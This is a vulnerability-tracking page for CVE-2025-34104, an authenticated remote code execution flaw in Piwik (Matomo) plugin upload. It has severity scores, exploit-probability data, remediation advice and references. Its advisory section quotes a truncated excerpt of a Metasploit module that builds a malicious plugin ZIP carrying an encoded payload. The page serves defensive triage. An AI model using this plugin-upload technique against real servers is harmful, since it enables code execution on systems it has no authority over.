CVE-2025-34104

CRITICALPre-NVD 9.49.4—
EchelonGraph scoreMEDIUM confidence

This critical-severity CVE scores 9.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 1.1%, top 37% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:vulncheck, epss
Weaponized
9.4EG
EchelonGraph verdictPatch this weekExploitation is likely or a public exploit exists.
  • Public exploit code is available (Metasploit, public exploit)
CISA-KEV: Not listedEPSS PROB: 1%CVSS: 9.4Exploit: Metasploit · public exploitExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

An authenticated remote code execution vulnerability exists in Piwik (now Matomo) versions prior to 3.0.3 via the plugin upload mechanism. In vulnerable versions, an authenticated user with Superuser privileges can upload and activate a malicious plugin (ZIP archive), leading to arbitrary PHP code execution on the underlying system. Starting with version 3.0.3, plugin upload functionality is disabled by default unless explicitly enabled in the configuration file.

CVSS v3
9.4
EG Score
9.4(medium)
EG Risk
68(Track)
EG Risk 68/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity94% × 45%
Exploitation65% × 40%
Automatability0% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
1%
EPSS %ILE
63%
KEV
Not listed

Published

July 15, 2025

Last Modified

July 14, 2026

Advisory Details (5)

Auto-updated Jul 14, 2026
No patch confirmed yet.
generic

Piwik (now Matomo) Authenticated RCE via Custom Plugin Upload | Advisories | VulnCheck

https://www.vulncheck.com/advisories/piwik-authenticated-rce-via-custom-plugin-upload
generic

About Piwik ([\w\.]+) -/, /content-title="About Piwik ([\w\.]+)"/, /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m ] if res && res.code == 200 for r in piwik_version_regexes match = res.body.match(r) if match return match[1] end end end # check for Piwik version 1 # the logo.svg is only available in version 1 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_...

About Piwik ([\w\.]+) -/, /content-title="About Piwik ([\w\.]+)"/, /<h2 piwik-enriched-headline\s+feature-name="Help"\s+>About Piwik ([\w\.]+)/m ] if res && res.code == 200 for r in piwik_version_regexes match = res.body.match(r) if match return match[1] end end end # check for Piwik version 1 # the logo.svg is only available in version 1 res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri, 'themes', 'default', 'images', 'logo.svg') }) if res && res.code == 200 && res.body =~ /<!DOCTYPE svg/ return "1.x" end nil end def is_superuser?(login_cookies) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalized_index, 'cookie' => login_cookies, 'vars_get' => { 'module' => 'Installation', 'action' => 'systemCheckPage' } }) if res && res.body =~ /You can't access this resource as it requires a 'superuser' access/ return false elsif res && res.body =~ /id="systemCheckRequired"/ return true else return false end end def generate_plugin(plugin_name) plugin_json = %Q|{ "name": "#{plugin_name}", "description": "#{plugin_name}", "version": "#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}", "theme": false }| plugin_script = %Q|<?php namespace Piwik\\Plugins\\#{plugin_name}; class #{plugin_name} extends \\Piwik\\Plugin { public function install() { #{payload.encoded} } } | zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script) zip.add_file("#{plugin_name}/plugin.json", plugin_json) zip.pack end def exploit print_status('Trying to detect if target is running a supported version of piwik') res = send_request...

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/piwik_superuser_plugin_upload.rb
generic

Turning Piwik Superuser Credentials into Remote Code Execution :: firefart

https://firefart.at/post/turning_piwik_superuser_creds_into_rce/
generic

How do I install a new plugin? FAQ - Analytics Platform - Matomo

https://matomo.org/faq/plugins/faq_21/
generic

Matomo 3.0.3 - Analytics Platform - Matomo

https://matomo.org/changelog/piwik-3-0-3/

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 8× in last 7d / 42× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 106 total refreshes for this CVE.

  1. 2026-07-25 14:17 UTCEPSS rescore
  2. 2026-07-25 14:17 UTCEPSS rescore
  3. 2026-07-24 14:17 UTCEPSS rescore
  4. 2026-07-23 02:54 UTCEG score recompute
  5. 2026-07-22 14:07 UTCEPSS rescore
  6. 2026-07-22 14:07 UTCEPSS rescore
  7. 2026-07-21 15:24 UTCEPSS rescore
  8. 2026-07-20 17:07 UTCEPSS rescore
  9. 2026-07-19 14:30 UTCEPSS rescore
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  11. 2026-07-19 02:28 UTCEPSS rescore
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  15. 2026-07-16 17:02 UTCEPSS rescore
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  20. 2026-07-13 22:29 UTCEPSS rescore
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  22. 2026-07-12 05:46 UTCEPSS rescore
  23. 2026-07-11 08:27 UTCEPSS rescore
  24. 2026-07-11 08:27 UTCEPSS rescore
  25. 2026-07-09 19:09 UTCEPSS rescore
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  1. 2026-07-09 19:09 UTCEPSS rescore
  2. 2026-07-07 13:45 UTCEPSS rescore
  3. 2026-07-06 16:27 UTCEPSS rescore
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  5. 2026-07-06 02:23 UTCEPSS rescore
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  8. 2026-07-01 15:06 UTCEPSS rescore
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  10. 2026-06-30 23:22 UTCEPSS rescore
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  12. 2026-06-29 14:06 UTCEPSS rescore
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  14. 2026-06-28 14:07 UTCEPSS rescore
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  20. 2026-06-25 13:49 UTCEPSS rescore
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  22. 2026-06-24 14:04 UTCEPSS rescore
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  24. 2026-06-23 21:32 UTCEPSS rescore
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  26. 2026-06-22 14:25 UTCEPSS rescore
  27. 2026-06-22 14:25 UTCEPSS rescore
  28. 2026-06-21 14:56 UTCEPSS rescore
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  30. 2026-06-21 01:59 UTCEPSS rescore
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  32. 2026-06-19 19:25 UTCEPSS rescore
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  34. 2026-06-18 17:52 UTCEPSS rescore
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  39. 2026-06-15 17:48 UTCEPSS rescore
  40. 2026-06-13 23:00 UTCEPSS rescore
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  42. 2026-06-12 23:11 UTCEPSS rescore
  43. 2026-06-11 13:59 UTCEPSS rescore
  44. 2026-06-10 22:18 UTCEPSS rescore
  45. 2026-06-10 13:22 UTCEPSS rescore
  46. 2026-06-08 15:59 UTCEG score recompute▲ 9.40
  47. 2026-06-08 15:59 UTCGHSA enrichment
  48. 2026-06-08 14:16 UTCEPSS rescore
  49. 2026-06-08 14:16 UTCEPSS rescore
  50. 2026-06-07 15:24 UTCEPSS rescore
  51. 2026-06-07 15:24 UTCEPSS rescore
  52. 2026-06-06 13:47 UTCEPSS rescore
  53. 2026-06-06 13:47 UTCEPSS rescore
  54. 2026-06-05 22:46 UTCEPSS rescore
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  56. 2026-06-05 06:10 UTCEPSS rescore
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  58. 2026-06-02 20:12 UTCEPSS rescore
  59. 2026-06-01 13:51 UTCEPSS rescore
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  61. 2026-05-31 00:16 UTCEPSS rescore
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  63. 2026-05-29 13:44 UTCEPSS rescore
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  67. 2026-05-28 13:44 UTCEPSS rescore
  68. 2026-05-26 07:18 UTCEPSS rescore
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  70. 2026-05-26 07:18 UTCEPSS rescore
  71. 2026-05-26 07:18 UTCEPSS rescore
  72. 2026-05-21 22:42 UTCEPSS rescore
  73. 2026-05-21 11:15 UTCEG score recompute
  74. 2026-05-21 11:15 UTCGHSA enrichment
  75. 2026-05-20 22:37 UTCEPSS rescore

Publicly available exploits

(1 reference)

Working exploit code is in the public domain (1 Metasploit module). Defenders should treat patch urgency accordingly — public PoCs typically lead to mass-exploitation within 24-72 hours.

  • Metasploitexploit/unix/webapp/piwik_superuser_plugin_upload✓ verified
    First seen Feb 5, 2017

    Piwik Superuser Plugin Upload

    Open source ↗

Related CVEs(same CWE)

Frequently asked(5)

What is CVE-2025-34104?
CVE-2025-34104 is a critical vulnerability published on July 15, 2025. An authenticated remote code execution vulnerability exists in Piwik (now Matomo) versions prior to 3.0.3 via the plugin upload mechanism. In vulnerable versions, an authenticated user with Superuser privileges can upload and activate a malicious plugin (ZIP archive), leading to arbitrary PHP code…
When was CVE-2025-34104 disclosed?
CVE-2025-34104 was first published in the National Vulnerability Database on July 15, 2025, with the most recent update on July 14, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2025-34104 actively exploited?
CVE-2025-34104 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 1% probability of exploitation in the next 30 days, which ranks it in the top 37.0% of all scored CVEs.
What is the CVSS score of CVE-2025-34104?
CVE-2025-34104 has a CVSS v4.0 base score of 9.4 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2025-34104?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2025-34104, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2025-34104

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